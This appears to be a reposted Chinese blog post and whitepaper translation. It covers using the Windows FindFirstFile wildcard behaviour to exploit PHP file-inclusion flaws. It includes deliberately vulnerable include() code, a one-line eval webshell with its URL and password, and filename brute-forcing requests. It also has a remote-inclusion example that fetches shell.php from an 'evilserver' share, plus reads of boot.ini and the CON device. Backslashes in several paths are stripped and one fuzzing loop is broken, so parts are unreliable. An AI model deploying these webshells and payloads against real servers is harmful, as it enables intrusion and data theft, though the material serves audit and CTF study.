分类 标签 存档 黑客派 订阅 搜索

Windows FindFirstFile 利用

78 浏览

目前大多数程序都会对上传的文件名加入时间戳等字符再进行 MD5,然后下载文件的时候通过保存在数据库里的文件 ID 读取文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的 webshell 文件路径,但是当在 Windows 下时,我们只需要知道文件所在目录,然后利用 Windows 的特性就可以访问到文件,这是因为 Windows 在搜索文件的时候使用了 FindFirstFile 这一个 winapi 函数,该函数到一个文件夹 (包含子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用 "<" 或者 ">" 代替即可,不过要注意一点是,只使用一个 "<" 或者 ">" 则只能代表一个字符,如果文件名是 12345 或者更长,这时候请求 "1<" 或者 "1>"都是访问不到文件的,需要"1<<" 才能访问到,代表继续往下搜索,有点像 Windows 的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

我们来做个简单的测试,测试代码如下:

//1.php

<?php
    include($_GET['file']);
 ?>

再在同目录下新建一个文件名为 "123456.txt" 的文件,内容为phpinfo()函数,请求/1.php?file=1<<即可包含。
d8336189e9e8ab752ec855e7ed94a9b7.jpg.png

常用的漏洞代码

1

<?php
    if(isset($_GET[page])) {
        include($_GET[page]);
    }else{
        include 'show.php';
    }
?>

2

<?php
    if(isset($_GET[page])) {
        include('./action/' . $_GET[page]);
    }else{
        include './action/show.php';
    }
?>

3

<?php
    if(isset($_GET[page])) {
        include('./action/'. $_GET[page] . '.php');
    }else{
        include './action/show.php';
    }
?>

相关代码:

  1. php 中代码:
    <?php
     include($_GET['file']);
    ?>
    
  2. 123456.txt 中代码:
    <?php phpinfo() ?>
    
  3. 123456.TXT 里面可以换成一句话木马,代码:
    <?php eval($_POST["admin"]) ?>
    
    urlhttp//127.0.0.1/1.php?file=12<<
    密码:admin
    注意:txt 里面书写 php 代码不能换行写,最好是在同一行书写【原因待查明】

acccc1eb9b5be30878b4f979f2edadfc.jpg.png

windows 的文件系统机制引发的 PHP 路径爆破问题分析

开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
    for ($i=0; $i<255; $i++) {
        $url = '1.ph' . chr($i);
        $tmp = @file_get_contents($url);
        if (!empty($tmp)) echo chr($i) . " ";
    }
?>

已知 1.php 存在,以上脚本访问的结果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的(因为 windows 的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。

测试 php 版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0

测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3

经测试我们得出的结论是:该漏洞影响所有的 windows+php 版本

深入探查模糊测试的结果

为了继续深入探查关于该 bug 的信息,我们对 demo 做了些许修改:

<?php
    for ($j=0; $i<256; $j++) {
        for ($i=0; $i<256; $i++) {
            $url = '1.p' . chr($j) . chr($i);
            $tmp = @file_get_contents($url);
            if (!empty($tmp)) echo chr($j) . chr($i) . " ";
        }
    }
?>

在调试 php 解释器的过程中,我们将此 “神奇” 的漏洞归结为一个 Winapi 函数 FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).aspx). 更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>” 被替换成”?”,字符”<” 被替换成”*”,而符号”(双引号)被替换成一个”.” 字符。这在 2007 年 msdn 公开的文档中被提及��http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3

但是此 bug 至今未被任何 windows 旗下所发行的任何版本修复!

我们要阐明的是,该函数 FindFirstFile() 在 php 下的运用远远不至于 file_get_contents(). 关于该 bug 可以利用的函数我们已经列了如下一表:

此外,我们还发现该利用也可以被运用到 c++ 中,以下采用来自 msdn 的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

void _tmain(int argc, TCHAR *argv[]){
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind;
    if( argc != 2 ){
        _tprintf(TEXT("Usage: %s [target_file] "), argv[0]);
        return;
    }

    _tprintf (TEXT("Target file is %s "), argv[1]);
    hFind = FindFirstFile(argv[1], &FindFileData);
    if (hFind == INVALID_HANDLE_VALUE){
        printf ("FindFirstFile failed (%d) ", GetLastError());
        return;
    }else{
        _tprintf (TEXT("The first file found is %s "), FindFileData.cFileName);
        FindClose(hFind);
    }
}

当传入参数”c:o<” 时,成功访问到 boot.ini 文件。

利用方法总结

  1. 当调用 FindFirstFile() 函数时,”<” 被替换成” ”, 这意味该规则可以使”<” 替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,** 为了确保能够使”<” 被替换成””, 应当采用”<<”**
    EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
    
  2. 当调用 FindFirstFile() 函数时,”>” 被替换成”?”, 这意味这”>” 可以替换单个任意字符
    EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
    
  3. 当调用 FindFirstFile() 函数时,”””(双引号) 被替换成”.”
    EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
    
  4. 如果文件名第一个字符是”.” 的话,读取时可以忽略之
    EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
    
  5. 文件名末尾可以加上一系列的 / 或者的合集,你也可以在 / 或者中间加上. 字符,只要确保最后一位为”.”
    EXAMPLE:fopen(“config.ini\.// ///.”);==>  fopen(‘config.ini./..'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
    
  6. 该函数也可以调用以”\” 打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费 4 秒钟的时间,并可能触发时间响应机制以及 max_execution_time 抛错。所幸的是,该利用可以用来绕过 allow_url_fopen=Off 并最终导致一个 RFI(远程文件包含)
    EXAMPLE:include (‘\evilservershell.php');
    
  7. 用以下方法还可以切换文件的盘名
    include(‘\.C:myfile.php......D:anotherfile.php');
    
  8. 选择磁盘命名语法可以用来绕过斜线字符过滤
    file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
    
  9. 在 php 的命令行环境下(php.exe), 关于系统保留名文件的利用细节
    ```
    EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); // 此举将会无休无止地从 CON 设备读取 0 字节,直到遇到 eof

EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07)); // 此举将会不断地使服务器发出类似哔哔的声音

## 更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤

请思考该例:
```php
<?php
    file_get_contents("/images/".$_GET['a'].".jpg");
    //or another function from Table 1, i.e. include().
?>

访问 test.php?a=../a<%00

可能出现两种结果

  1. Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。

  2. Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在 a 打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以 a 打头的文件(夹),并且第一个就是 admin_h1d3。

结论

实验告诉我们,php 本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与 winapi 的一个 BUG),并且直接强 制使用,将会导致细微的错误 (bug),并最终造成危害 (vul). 这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究 web 层面,而深入到系统底层),并最终导致 IDS,IPS 的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。

因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他 web 应用中。于是我们还测试了 mysql5, 而实验结果表明,mysql5 并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如 Perl、Python、Ruby 等解释性语言上。

Referer

PHP application source code audits advanced technology:

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

MSDN FindFirstFile Function reference:

http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx

MSDN comments history:

http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3

MSDN article «Naming Files, Paths, and Namespaces»:

http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx

Technet article «Managing Files and Directories»:

http://technet.microsoft.com/en-us/library/cc722482.aspx

Paper «Technique of quick exploitation of 2blind SQL Injection»:

http://www.exploit-db.com/papers/13696/


全文完。

注:该文是 2011 年底发表的一篇白皮书,至今该 bug 依然存在。我在几个月前做 CUIT 的一个 CTF 时偶遇了一道该 bug 的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个 php 的脚本去跑目录。今回闲来无事,翻译整理了一番。

文章转自群友

版权声明:

文章所设计内容包括两部分
一是法师的书籍《代码审计 - 企业级 web 代码安全架构》
二是来自群友 @evil7 提供的资料
以下为资料原文:
http://www.169it.com/blog_article/2302639890.html
https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki

评论  
留下你的脚步
推荐阅读